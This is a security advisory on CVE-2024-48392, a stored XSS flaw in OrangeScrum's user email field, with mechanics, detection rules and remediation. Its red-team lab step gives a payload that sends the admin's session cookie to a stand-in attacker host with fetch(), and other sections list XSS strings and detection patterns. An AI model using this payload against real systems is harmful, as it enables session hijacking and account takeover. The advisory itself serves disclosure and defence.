CVE-2024-48392

Executive Summary

CVE-2024-48392 is a stored Cross-Site Scripting (XSS) vulnerability in OrangeScrum v2.0.11, a web-based project management tool. The flaw exists in the user email field, where insufficient input validation allows an attacker to inject arbitrary JavaScript code. When the malicious email is rendered in the application (e.g., in user profiles or notification panels), the script executes in the context of the victim’s browser. This can lead to session hijacking, credential theft, or full account takeover. The vulnerability has a CVSS score of 6.1 (Medium) and is publicly known, though no official patch has been released. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

OrangeScrum is a PHP-based application, not an NPM, PyPI, Go, or Ruby package. Therefore, supply chain package security considerations are not directly applicable. However, administrators should verify the integrity of any third-party plugins or extensions used with OrangeScrum.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to inject the payload.
• User Interaction: Required (UI:R) – The victim must view the malicious email.
• Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for account takeover elevates the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the user email field within OrangeScrum’s user management module. The application fails to sanitize or encode user-supplied input when storing and later displaying email addresses. An attacker can register a new user or modify an existing user’s email to include malicious JavaScript, such as:

<script>alert('XSS')</script>

When the email is rendered in the application (e.g., in the user list, profile page, or notification emails), the script executes. This is a classic stored XSS attack. The lack of output encoding and input validation allows the attacker to bypass basic filters.

Attack Flow:

1. Attacker registers a new user with an email containing a malicious payload.
2. The payload is stored in the database without sanitization.
3. An administrator or other user views the user list or profile.
4. The browser executes the injected script.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (OrangeScrum v2.0.11): The application likely uses a function like htmlspecialchars() incorrectly or not at all when outputting the email field. Example vulnerable PHP code:

echo $user['email']; // No sanitization

Patched Code (Hypothetical): A secure implementation would encode the output:

echo htmlspecialchars($user['email'], ENT_QUOTES, 'UTF-8');

Since no official patch exists, administrators must apply manual mitigations.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OrangeScrum v2.0.11 instance (e.g., Docker container or local installation).
• Attacker-controlled email address with JavaScript payload.

Steps:

1. Register a new user with the following email:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>@example.com
   

2. Log in as an administrator and navigate to the user management page.
3. The script executes, sending the admin’s session cookie to the attacker’s server.
4. Use the stolen cookie to hijack the admin session.

Alternative Payload:

<img src=x onerror="alert('XSS')">

Blue Team

Detection:

• Monitor for unusual email patterns in user registration logs.
• Use WAF rules to block common XSS payloads in email fields.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

• Search for email addresses containing <script>, onerror, or javascript: in the database.
• Review web server logs for requests to external domains from the OrangeScrum application.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains from the OrangeScrum server.
  • Suspicious Referer headers containing XSS payloads.
• Host:
  • Database entries with email fields containing HTML/JavaScript.
  • Modified user accounts with unusual email addresses.
• Logs:
  • Web server logs showing GET /users with Cookie header containing stolen session tokens.
  • Application logs with errors related to email validation.

Detection Engineering

YARA Rule

rule OrangeScrum_XSS_Email {
    meta:
        description = "Detects stored XSS payloads in OrangeScrum email fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48392"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: OrangeScrum Stored XSS in Email Field
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in OrangeScrum email fields
author: Valters IT
logsource:
    category: application
    product: orangescrum
detection:
    selection:
        event: user_registration
        email|contains:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of special characters in email (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"OrangeScrum Stored XSS in Email Field"; flow:to_server; content:"POST"; http_method; content:"/users"; http_uri; content:"email"; nocase; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict validation for email fields using a whitelist approach (e.g., only allow alphanumeric characters, @, ., -, _).
2. Output Encoding: Use htmlspecialchars() or equivalent when rendering email addresses.
3. Content Security Policy (CSP): Add a CSP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'
   

4. Web Application Firewall (WAF): Deploy WAF rules to block common XSS payloads.

Long-Term Fix:

• Upgrade to a patched version when available.
• Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

• Disable user self-registration if not required.
• Manually review and sanitize existing email entries in the database.

Valters IT